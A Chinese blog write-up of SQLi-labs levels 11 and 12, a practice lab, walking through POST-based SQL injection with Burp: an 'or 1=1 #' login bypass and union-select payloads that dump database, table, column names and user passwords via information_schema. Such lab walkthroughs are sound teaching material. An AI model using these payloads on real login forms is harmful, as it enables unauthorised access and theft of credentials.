• sql-lab闯关之11-12


    还是老生常谈的四个语句,熟悉一下。
    1.查库:select schema_name from information_schema.schemata;
    2.查表:select table_name from information_schema.tables where table_schema='security';
    3.查列:select column_name from information_schema.columns where table_name='users';
    4.查字段:select username,password from security.users;

    前面1-10用的是get 方法,后面的是post方法,需要使用burp抓包了。

    LESS11

    进入界面

     抓包


    我们将抓到的数据包中最后一行复制,使用post data进行注入。好了我们关闭代理。
    另外,在post注入中我们的注释符不能使用--+了,这是针对URL注入的,我们使用#
    输入:uname=admin'&passwd=admin&submit=Submit
    我们可以看到由于我们加了一个’ 尝试一下,返回的结果显示存在sql语法错误,证明存在注入漏洞。

     输入:uname=admin' or 1=1 #&passwd=admin&submit=Submit

     这里显示我们登录成功,以Dumb的用户名密码登陆成功,可以验证有注入漏洞。

    接着我们就需要上面的四个语句了,熟能生巧多打几遍就记住了。
    判断列
    输入:uname=a&passwd=a' order by 3#&submit=Submit

     输入:uname=n'order by 2 #&passwd=admin&submit=Submit


     虽然登录失败,但什么也没有显示,可以判断有两列。

    输入:uname=n'union select 1,2 #&passwd=admin&submit=Submit  判断回显位置


     输入:uname=n'union select 1,database()#&passwd=admin&submit=Submit  判断出所在security数据库

     同样,我们可以group_concat 和查库函数结合查询所有数据库
    输入:uname=n'union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

     可以看出查询到了所有库名,以security为例
    输入:uname=n'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

     查询到完了,我们以users为例
    输入:uname=n'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

    我们查询到了username和password 已经离成功很近了

    输入:uname=n'union select 1,group_concat(password)from security.users #&passwd=admin&submit=Submit

    当然查询username
    输入:uname=n'union select 1,group_concat(username)from security.users #&passwd=admin&submit=Submit
    当然,如果需要两者共同显示,我们可以再借助concat_ws函数了
    输入:uname=n'union select 1,(select group_concat(concat_ws('-',username,password))from security.users) #&passwd=admin&submit=Submit

     11关完成!

    LESS12
    12关和11关几乎相同,只不过是数据包的格式改变了而已,变成了(“a”) 将’改为”)就行了!

    注:一般测试我们可以测试以下格式,加上 or 1=1 #测试

    ’)
    ’))

    ”)
    ”))

  • 相关阅读:
    硬盘安装windows2008的方法
    win7,win2008R2的vs2008 破解方法
    学习正则表达式
    C#里内置的DateTime基本功能
    jQuery Ajax 实例 全解析
    TreeView 部署后不能显示图标、js出错原因
    js 操作Listbox js 获取Listbox选择的值的代码
    ajax调用后台Datatable
    转:jquery刷新页面 页面跳转 js常用函数
    GridView多行表头的实现
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12390102.html
Copyright © 2020-2023  润新知